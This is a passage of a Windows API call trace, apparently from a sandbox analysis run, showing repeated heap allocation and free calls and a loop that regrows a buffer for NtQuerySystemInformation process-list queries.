0x20501310 [0158.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7a8e60 [0158.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a8e60) returned 1 [0158.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce5bcf0 [0158.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bcf0) returned 1 [0158.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20501310 [0158.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7a8e60 [0158.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a8e60) returned 1 [0158.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5bcf0 [0158.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bcf0) returned 1 [0158.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7a8e60 [0158.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a8e60) returned 1 [0158.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20501310 [0158.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0158.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20501310 [0158.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0158.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20501310 [0158.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20501310 [0158.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7a8e60 [0158.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a8e60) returned 1 [0158.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0158.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20501310 [0158.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0158.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20501310 [0158.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0158.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20501310 [0158.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0158.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0158.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0158.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0158.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7a8e60 [0158.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a8e60) returned 1 [0158.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0158.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0158.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0158.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0158.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20501310 [0158.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0158.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20501310 [0158.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0158.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20501310 [0158.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0158.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20501310 [0158.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0158.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501310 [0158.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0158.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0158.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0158.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b849b0) returned 1 [0158.060] Sleep (dwMilliseconds=0x64) [0159.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x42b849e0 [0159.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849e0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x42b849e0, ResultLength=0x0) returned 0xc0000004 [0159.330] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849e0, Size=0x2048) returned 0x4264e500 [0159.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4264e500, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4264e500, ResultLength=0x0) returned 0xc0000004 [0159.330] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4264e500, Size=0x306c) returned 0x42ba49e0 [0159.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ba49e0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ba49e0, ResultLength=0x0) returned 0xc0000004 [0159.353] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ba49e0, Size=0x4090) returned 0x1ce194d0 [0159.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1ce194d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1ce194d0, ResultLength=0x0) returned 0xc0000004 [0159.353] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1ce194d0, Size=0x50b4) returned 0x423a0080 [0159.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.641] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0x60d8) returned 0x423a0080 [0159.641] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.642] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0x70fc) returned 0x423a0080 [0159.642] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.642] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0x8120) returned 0x423a0080 [0159.642] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.643] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0x9144) returned 0x423a0080 [0159.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.643] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xa168) returned 0x423a0080 [0159.643] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.644] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xb18c) returned 0x423a0080 [0159.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.644] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xc1b0) returned 0x423a0080 [0159.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.644] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xd1d4) returned 0x423a0080 [0159.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.645] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xe1f8) returned 0x423a0080 [0159.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a0080, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x423a0080, ResultLength=0x0) returned 0xc0000004 [0159.645] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a0080, Size=0xf21c) returned 0x42be49b0 [0159.646] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0159.647] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x10240) returned 0x42be49b0 [0159.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0159.647] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x11264) returned 0x42be49b0 [0159.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0159.648] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x12288) returned 0x42be49b0 [0159.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0159.648] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x132ac) returned 0x42be49b0 [0159.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0159.649] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x142d0) returned 0x42be49b0 [0159.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0159.650] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x152f4) returned 0x42be49b0 [0159.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.085] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x16318) returned 0x42be49b0 [0160.086] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.086] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1733c) returned 0x42bface0 [0160.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42bface0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x42bface0, ResultLength=0x0) returned 0xc0000004 [0160.099] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42bface0, Size=0x18360) returned 0x42c12030 [0160.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c12030, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x42c12030, ResultLength=0x0) returned 0xc0000004 [0160.110] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c12030, Size=0x19384) returned 0x42c12030 [0160.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42c12030, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42c12030, ResultLength=0x0) returned 0xc0000004 [0160.111] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42c12030, Size=0x1a3a8) returned 0x42be49b0 [0160.112] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.112] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1b3cc) returned 0x42be49b0 [0160.112] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.113] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1c3f0) returned 0x42be49b0 [0160.113] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.113] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1d414) returned 0x42be49b0 [0160.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.114] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1e438) returned 0x42be49b0 [0160.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.115] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x1f45c) returned 0x42be49b0 [0160.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.115] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x20480) returned 0x42be49b0 [0160.116] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.116] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x214a4) returned 0x42be49b0 [0160.116] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.117] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x224c8) returned 0x42be49b0 [0160.117] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.118] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x234ec) returned 0x42be49b0 [0160.118] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.120] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x24510) returned 0x42be49b0 [0160.120] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.121] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x25534) returned 0x42be49b0 [0160.121] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.121] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x26558) returned 0x42be49b0 [0160.122] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.122] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2757c) returned 0x42be49b0 [0160.122] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.123] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x285a0) returned 0x42be49b0 [0160.123] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.124] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x295c4) returned 0x42be49b0 [0160.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.124] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2a5e8) returned 0x42be49b0 [0160.124] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.125] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2b60c) returned 0x42be49b0 [0160.125] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.126] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2c630) returned 0x42be49b0 [0160.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.126] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2d654) returned 0x42be49b0 [0160.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.127] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2e678) returned 0x42be49b0 [0160.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2e678, ResultLength=0x0 | out: 